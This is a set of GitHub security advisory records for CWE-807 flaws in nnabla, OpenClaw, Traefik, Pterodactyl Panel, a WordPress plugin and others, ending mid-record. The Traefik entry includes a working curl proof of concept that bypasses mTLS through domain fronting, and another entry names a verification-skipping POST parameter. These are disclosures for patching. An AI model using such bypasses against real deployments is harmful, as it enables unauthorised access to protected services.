CWE-807

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nnabla"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-10844"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-807"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-28T22:05:41Z",
    "nvd_published_at": "2019-04-04T05:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "nbla/logger.cpp in libnnabla.a in Sony Neural Network Libraries (aka nnabla) prior to v1.0.10 relies on the HOME environment variable, which might be untrusted.",
  "id": "GHSA-4q2w-rw7m-xqw6",
  "modified": "2022-07-28T22:05:41Z",
  "published": "2022-05-13T01:07:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10844"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sony/nnabla/issues/209"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sony/nnabla/pull/299"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sony/nnabla/commit/e87347648ab7210529a0e60f0849680de8e9b63a"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-4q2w-rw7m-xqw6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nnabla/PYSEC-2019-107.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sony/nnabla"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sony/nnabla/releases/tag/v1.0.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sony Neural Network Libraries reliance on untrusted inputs prior to v1.0.10"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.24"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-807",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-29T15:48:15Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\nGoogle Chat Authz Bypass via Group Policy Rebinding with Mutable Space displayName\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Affected versions: `\u003c= 2026.3.24`\n- First patched version: `2026.3.25`\n- Latest published npm version at verification time: `2026.3.24`\n\n## Details\n\nGoogle Chat group authorization previously relied on mutable space display names, which allowed policy rebinding when names changed or collided. Commit `11ea1f67863d88b6cbcb229dd368a45e07094bff` requires stable group IDs for access decisions.\n\nVerified vulnerable on tag `v2026.3.24` and fixed on `main` by commit `11ea1f67863d88b6cbcb229dd368a45e07094bff`.\n\n## Fix Commit(s)\n\n- `11ea1f67863d88b6cbcb229dd368a45e07094bff`",
  "id": "GHSA-52q4-3xjc-6778",
  "modified": "2026-04-18T00:48:38Z",
  "published": "2026-03-29T15:48:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-52q4-3xjc-6778"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35617"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/11ea1f67863d88b6cbcb229dd368a45e07094bff"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-authorization-bypass-via-group-policy-rebinding-with-mutable-space-displayname"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Google Chat Authz Bypass via Group Policy Rebinding with Mutable Space displayName"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-53717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-807"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-14T17:15:43Z",
    "severity": "HIGH"
  },
  "details": "Reliance on untrusted inputs in a security decision in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-56rq-9hfp-7m98",
  "modified": "2025-10-14T18:30:30Z",
  "published": "2025-10-14T18:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53717"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53717"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2026.3.22"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-807"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-18T00:55:40Z",
    "nvd_published_at": "2026-04-09T22:16:30Z",
    "severity": "LOW"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-xhq5-45pm-2gjr. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw before 2026.3.22 contains a policy confusion vulnerability in room authorization that matches colliding room names instead of stable room tokens. Attackers can exploit similarly named rooms to bypass allowlist policies and gain unauthorized access to protected Nextcloud Talk rooms.",
  "id": "GHSA-5f7h-p83x-5vc2",
  "modified": "2026-04-18T00:55:40Z",
  "published": "2026-04-10T00:30:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xhq5-45pm-2gjr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35624"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/630f1479c44f78484dfa21bb407cbe6f171dac87"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/a47722de7e3c9cbda8d5512747ca7e3bb8f6ee66"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-policy-confusion-via-room-name-collision-in-nextcloud-talk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: OpenClaw: Nextcloud Talk room allowlist matched colliding room names instead of stable room tokens",
  "withdrawn": "2026-04-18T00:55:40Z"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.48"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48491"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-807"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T19:02:20Z",
    "nvd_published_at": "2026-06-23T20:16:48Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s domain-fronting protection (`SNICheck`) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router `TLSOptions`. When a router uses a wildcard host rule such as `Host(`*.example.com`)` with stricter TLS options (for example `RequireAndVerifyClientCert`), `SNICheck` resolves the TLS options for the HTTP `Host` header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP `Host` header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.3\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\nTraefik\u0027s `SNICheck` domain-fronting protection ignores wildcard `TLSOptions` mappings. A wildcard router such as `Host(\"*.example.com\")` can require mTLS for direct access, but an unauthenticated client can complete the TLS handshake with another permissive SNI on the same entrypoint and then send `Host: api.example.com` / HTTP request authority `api.example.com` to reach the wildcard-protected backend.\n\nThis issue does not require HTTP/3. The PoC uses the regular HTTPS/HTTP2 path and abuses the domain-fronting consistency check between TLS SNI and the HTTP `Host` header.\n\nFor HTTP/2, this corresponds to the request authority / `Host` value as exposed to Traefik\u0027s HTTP request handling.\n\n### Details\n\nFor the v3 rule-syntax / file-provider path used in this PoC, wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in Traefik v3.7. The normal HTTPS/TCP router path uses wildcard-aware matching. The `SNICheck` middleware does not.\n\nThe router build records TLS option names for host rules:\n\n```go\ndomains, err := httpmuxer.ParseDomains(routerHTTPConfig.Rule)\n// ...\ntlsOptionsForHost[domain] = tlsOptionsName\n```\n\nThe HTTPS forwarder then installs SNI routes:\n\n```go\nrule := fmt.Sprintf(`HostSNI(%q)`, sniHost)\n```\n\n`HostSNI` matching is wildcard-aware:\n\n```go\nreturn muxer.DomainMatchHostExpression(meta.serverName, hostExpr)\n```\n\nBut `pkg/middlewares/snicheck/snicheck.go` resolves the host\u0027s TLS option name with exact lookups only:\n\n```go\nfunc findTLSOptionName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {\n    name := findTLSOptName(tlsOptionsForHost, host, fqdn)\n    if name != \"\" {\n        return name\n    }\n\n    name = findTLSOptName(tlsOptionsForHost, strings.ToLower(host), fqdn)\n    if name != \"\" {\n        return name\n    }\n\n    return traefiktls.DefaultTLSConfigName\n}\n\nfunc findTLSOptName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {\n    if tlsOptions, ok := tlsOptionsForHost[host]; ok {\n        return tlsOptions\n    }\n\n    if !fqdn {\n        return \"\"\n    }\n\n    if last := len(host) - 1; last \u003e= 0 \u0026\u0026 host[last] == \u0027.\u0027 {\n        if tlsOptions, ok := tlsOptionsForHost[host[:last]]; ok {\n            return tlsOptions\n        }\n\n        return \"\"\n    }\n\n    if tlsOptions, ok := tlsOptionsForHost[host+\".\"]; ok {\n        return tlsOptions\n    }\n\n    return \"\"\n}\n```\n\nThere is no wildcard matching step for entries such as `*.example.com`. As a result, `Host: api.example.com` can be classified as using default TLS options even though the router matched a wildcard host with stricter `TLSOptions`.\n\nPreconditions:\n\n- A protected router uses wildcard `Host` / `HostSNI` with router-specific `TLSOptions`.\n- The protected wildcard router uses stricter TLS options, such as `RequireAndVerifyClientCert`.\n- Another SNI/default TLS path on the same entrypoint allows a handshake without a client certificate.\n- The client can send an HTTP `Host` header different from the TLS SNI.\n\nRelationship to my previous HTTP/3 report:\n\nI previously submitted a related HTTP/3 mTLS bypass involving `Router.GetTLSGetClientInfo()` and exact/case-sensitive SNI lookup.\n\nThis report is separate. It does not require HTTP/3 or QUIC. It affects the regular HTTPS/HTTP2 path and is caused by `SNICheck` resolving `tlsOptionsForHost` with exact lookups only, without wildcard matching. The exploit uses domain fronting: a permissive TLS SNI is used for the handshake, while the HTTP request authority / `Host` header targets a wildcard-protected backend.\n\nRelationship to public issue #12349:\n\nThis is related to public issue #12349, where wildcard hosts were observed to be classified as `default` by `SNICheck`, causing unexpected `421 Misdirected Request` responses in some wildcard setups:\n\n```text\nTLS options difference: SNI:https-ext@file, Header:default\n```\n\nThe public issue demonstrates the same wildcard resolution gap as an availability/operational problem. This report demonstrates a security-impacting false-negative variant that can bypass router-specific mTLS when a permissive SNI exists on the same entrypoint. When the attacker chooses a permissive/default SNI and sends a protected wildcard host in the HTTP `Host` header, both sides can be classified as `default`, so `SNICheck` does not return `421`. The later HTTP router then matches the wildcard-protected backend and the request is forwarded without enforcing the wildcard route\u0027s mTLS policy.\n\nRelated wildcard `SNICheck` behavior has also been observed in Kubernetes Ingress setups, as described in public issue #12349. The PoC below uses the file provider and v3 rule syntax to keep the reproduction minimal and self-contained.\n\nMinimal dynamic configuration:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`*.example.com`)\n      service: protected\n      tls:\n        options: mtls\n\n    public:\n      rule: Host(`public.example.net`)\n      service: public\n      tls: {}\n\n  services:\n    protected:\n      loadBalancer:\n        servers:\n          - url: http://protected:80\n\n    public:\n      loadBalancer:\n        servers:\n          - url: http://public:80\n\ntls:\n  certificates:\n    - certFile: /certs/server.crt\n      keyFile: /certs/server.key\n\n  options:\n    mtls:\n      clientAuth:\n        caFiles:\n          - /certs/ca.crt\n        clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal Docker Compose:\n\n```yaml\nservices:\n  traefik:\n    image: traefik:v3.7.1\n    command:\n      - --log.level=DEBUG\n      - --entrypoints.websecure.address=:8443\n      - --providers.file.filename=/etc/traefik/dynamic.yml\n      - --providers.file.watch=false\n    ports:\n      - \"8443:8443\"\n    volumes:\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n      - ./certs:/certs:ro\n    depends_on:\n      - protected\n      - public\n\n  protected:\n    image: traefik/whoami:v1.11\n    command:\n      - --name=PROTECTED\n\n  public:\n    image: traefik/whoami:v1.11\n    command:\n      - --name=PUBLIC\n```\n\nCertificate generation:\n\n```bash\nrm -rf certs\nmkdir -p certs\n\nopenssl req -x509 -newkey rsa:2048 -nodes -days 7 \\\n  -keyout certs/ca.key \\\n  -out certs/ca.crt \\\n  -subj \"/CN=traefik-poc-ca\"\n\nopenssl req -newkey rsa:2048 -nodes \\\n  -keyout certs/server.key \\\n  -out certs/server.csr \\\n  -subj \"/CN=public.example.net\" \\\n  -addext \"subjectAltName=DNS:public.example.net,DNS:api.example.com,DNS:*.example.com\"\n\nopenssl x509 -req \\\n  -in certs/server.csr \\\n  -CA certs/ca.crt \\\n  -CAkey certs/ca.key \\\n  -CAcreateserial \\\n  -out certs/server.crt \\\n  -days 7 \\\n  -sha256 \\\n  -copy_extensions copyall\n```\n\n### PoC\n\nStart Traefik with the configuration above.\n\nTest environment:\n\n- Traefik images tested: `v3.7.0`, `v3.7.1`\n- Backend image: `traefik/whoami:v1.11`\n- Client: `curl` with HTTPS/HTTP2 support\n- EntryPoint: TCP port `8443` exposed locally\n- Provider: file provider\n\nControl 1: the permissive public route works normally and reaches the public backend:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv \\\n  --resolve public.example.net:8443:127.0.0.1 \\\n  https://public.example.net:8443/\n```\n\nObserved result:\n\n```text\nHTTP/2 200\nName: PUBLIC\nHost: public.example.net:8443\n```\n\nControl 2: direct access to the wildcard-protected host without a client certificate is blocked:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv \\\n  --resolve api.example.com:8443:127.0.0.1 \\\n  https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\nBypass: use the permissive public SNI for the TLS handshake, but send the protected wildcard host in the HTTP request:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv \\\n  --resolve public.example.net:8443:127.0.0.1 \\\n  https://public.example.net:8443/ \\\n  -H \u0027Host: api.example.com\u0027\n```\n\nObserved result:\n\n```text\nHTTP/2 200\nName: PROTECTED\nHost: api.example.com\n```\n\nThe curl verbose output shows that the HTTP/2 request authority / `Host` value is `api.example.com`, while the TLS SNI is taken from the URL host `public.example.net`:\n\n```text\n* [HTTP/2] [1] [:authority: api.example.com]\n\u003e Host: api.example.com\n```\n\nExpected result:\n\n```text\nHTTP/2 421\nMisdirected Request\n```\n\nTraefik should return `421 Misdirected Request` because the HTTP `Host` header resolves to the wildcard route\u0027s `mtls` TLSOptions while the TLS SNI resolves to permissive/default TLSOptions.\n\nNegative control with exact host:\n\nReplacing the protected router rule with exact `Host(\"api.example.com\")` while keeping `tls.options=mtls` causes the same domain-fronting request to be rejected:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`api.example.com`)\n      service: protected\n      tls:\n        options: mtls\n```\n\nRun the same request:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv \\\n  --resolve public.example.net:8443:127.0.0.1 \\\n  https://public.example.net:8443/ \\\n  -H \u0027Host: api.example.com\u0027\n```\n\nObserved result:\n\n```text\nHTTP/2 421\nMisdirected Request\n```\n\nThis shows that the bypass depends on wildcard TLSOptions resolution in `SNICheck`, not on a generic failure of the domain-fronting check.\n\nRegression test used during validation:\n\n```bash\ngo test ./pkg/middlewares/snicheck \\\n  -run TestSNICheck_WildcardTLSOptionsCurrentBehavior \\\n  -count=1\n```\n\nVersion matrix observed with Docker images:\n\n```text\nv3.6.17: this file-provider wildcard PoC did not reproduce; the wildcard route returned 404 in this setup\nv3.7.0: affected\nv3.7.1: affected\n```\n\n### Impact\n\nDeployments that use wildcard router `TLSOptions` for client certificate authentication can expose protected backends to unauthenticated clients when another permissive SNI exists on the same entrypoint.\n\nThe TLS handshake is completed under the permissive/default TLS options selected for the SNI, while the later HTTP router still dispatches the request to the wildcard route that was configured with mTLS-specific TLSOptions. This bypasses a security boundary that administrators can reasonably expect to be enforced by `tls.options=mtls` on the wildcard route.\n\nA possible fix would be for `SNICheck` to resolve `tlsOptionsForHost` using the same wildcard-aware host matching semantics used by the router / `HostSNI` matching, rather than exact map lookups only.\n\nPossible workarounds until a fix is available:\n\n- Avoid wildcard router `TLSOptions` for mTLS access control.\n- Enumerate exact protected hostnames instead of using wildcard `Host` rules.\n- Enforce mTLS in the default TLS options as well.\n- Avoid mixing permissive and mTLS-protected hosts on the same entrypoint.\n- Block or reject domain-fronted requests at another layer.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-5r4w-85f3-pw66",
  "modified": "2026-09-02T15:34:19Z",
  "published": "2026-06-16T19:02:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-5r4w-85f3-pw66"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48491"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:62260"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-48491"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491923"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.48"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.19"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.3"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48491.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik: SNICheck ignores wildcard TLSOptions mappings, allowing domain-fronted mTLS bypass"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pterodactyl/panel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-41129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-502",
      "CWE-639",
      "CWE-807"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-10-04T16:51:31Z",
    "nvd_published_at": "2021-10-06T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A malicious user can modify the contents of a `confirmation_token` input during the two-factor authentication process to reference a cache value not associated with the login attempt. In rare cases this can allow a malicious actor to authenticate as a random user in the Panel. The malicious user must target an account with two-factor authentication enabled, and then must provide a correct two-factor authentication token before being authenticated as that user.\n\n## Impact\nDue to a validation flaw in the logic handling user authentication during the two-factor authentication process a malicious user can trick the system into loading credentials for an arbitrary user by modifying the token sent to the server. This authentication flaw is present in the `LoginCheckpointController@__invoke` method which handles two-factor authentication for a user.\n\nThis controller looks for a request input parameter called `confirmation_token` which is expected to be a 64 character random alpha-numeric string that references a value within the Panel\u0027s cache containing a `user_id` value. This value is then used to fetch the user that attempted to login, and lookup their two-factor authentication token. Due to the design of this system, any element in the cache that contains only digits could be referenced by a malicious user, and whatever value is stored at that position would be used as the `user_id`.\n\nThere are a few different areas of the Panel that store values into the cache that are integers, and a user who determines what those cache keys are could pass one of those keys which would cause this code pathway to reference an arbitrary user.\n\n## Scope\nAt its heart this is a high-risk login bypass vulnerability. However, there are a few additional conditions that must be met in order for this to be successfully executed, notably:\n\n1.) The account referenced by the malicious cache key **must** have two-factor authentication enabled. An account without two-factor authentication would cause an exception to be triggered by the authentication logic, thusly exiting this authentication flow.\n2.) Even if the malicious user is able to reference a valid cache key that references a valid user account with two-factor authentication, they **must** provide a valid two-factor authentication token.\n\nHowever, due to the design of this endpoint once a valid user account is found with two-factor authentication enabled there is no rate-limiting present, thusly allowing an attacker to brute force combinations until successful. This leads to a third condition that must be met:\n\n3.) For the duration of this attack sequence the cache key being referenced must continue to exist with a valid `user_id` value. Depending on the specific key being used for this attack, this value may disappear quickly, or be changed by other random user interactions on the Panel, outside the control of the attacker.\n\n### About the Severity\nAs you may have noticed, this is not a trivial authentication bypass bug to exploit, and is likely incredibly difficult for a layperson to pull off. However, the severity of this disclosure has been prepared based on the nature of the bug and the potential for unexpected administrative account access under very rare conditions.\n\n## Mitigation\nIn order to mitigate this vulnerability the underlying authentication logic was changed to use an encrypted session store that the user is therefore unable to control the value of. This completely removed the use of a user-controlled value being used. In addition, the code was audited to ensure this type of vulnerability is not present elsewhere.\n\nIf you have any questions or concerns about the content of this disclosure please contact `Tactical Fish#8008` on Discord, or email `dane \u00e4t pterodactyl.io`.",
  "id": "GHSA-5vfx-8w6m-h3v4",
  "modified": "2022-08-15T20:12:39Z",
  "published": "2021-10-04T20:14:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/panel/security/advisories/GHSA-5vfx-8w6m-h3v4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/panel/commit/4a84c36009be10dbd83051ac1771662c056e4977"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pterodactyl/panel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/panel/blob/v1.6.2/CHANGELOG.md#v162"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/panel/releases/tag/v1.6.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pterodactyl Panel vulnerable to authentication bypass due to improper user-provided security token verification"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-13926"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-807"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-09T20:16:23Z",
    "severity": "CRITICAL"
  },
  "details": "An attacker could use data obtained by sniffing the network traffic to \nforge packets in order to make arbitrary requests to Contemporary \nControls BASC 20T.",
  "id": "GHSA-5wpm-jgqp-3v9m",
  "modified": "2026-04-09T21:31:29Z",
  "published": "2026-04-09T21:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13926"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-099-01.json"
    },
    {
      "type": "WEB",
      "url": "https://www.ccontrols.com/support/contacttech.htm"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-099-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-65328"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-807"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-05T16:15:42Z",
    "severity": "MODERATE"
  },
  "details": "Mega-Fence (webgate-lib.*) 25.1.914 and prior trusts the first value of the X-Forwarded-For (XFF) header as the client IP without validating a trusted proxy chain. An attacker can supply an arbitrary XFF value in a remote request to spoof the client IP, which is then propagated to security-relevant state (e.g., WG_CLIENT_IP cookie). Deployments that rely on this value for IP allowlists may be bypassed.",
  "id": "GHSA-6gh2-xjvw-7rh4",
  "modified": "2026-01-05T21:30:32Z",
  "published": "2026-01-05T18:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65328"
    },
    {
      "type": "WEB",
      "url": "https://drive.proton.me/urls/MY05PVBFXG#xDd2Xqy98WM9"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/p1aintext/CVE/main/CVE-2025-65328.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-11271"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-807"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-06T05:15:54Z",
    "severity": "MODERATE"
  },
  "details": "The Easy Digital Downloads plugin for WordPress is vulnerable to Order Manipulation in all versions up to, and including, 3.5.2 due to an order verification bypass. The verification is unconditionally skipped when the POST body includes verification_override=1. Because this value is attacker-supplied, an unauthenticated actor can submit a forged IPN and have it treated as verified, even on production sites and with verification otherwise enabled. A valid PayPal transaction id is needed, restricting order manipulation to orders placed by the attacker.  This, in turn, requires them to have a customer account.",
  "id": "GHSA-6jrq-cfpr-p7h7",
  "modified": "2025-11-06T06:31:00Z",
  "published": "2025-11-06T06:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11271"
    },
    {
      "type": "WEB",
      "url": "https://github.com/awesomemotive/easy-digital-downloads/blob/main/includes/gateways/paypal/ipn.php"
    },
    {
      "type": "WEB",
      "url": "https://github.com/awesomemotive/easy-digital-downloads/blob/main/src/Gateways/PayPal/IPN.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3382964%40easy-digital-downloads%2Ftrunk\u0026old=3364285%40easy-digital-downloads%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4c63154e-9413-47ea-a740-441618266adf?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-24400"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
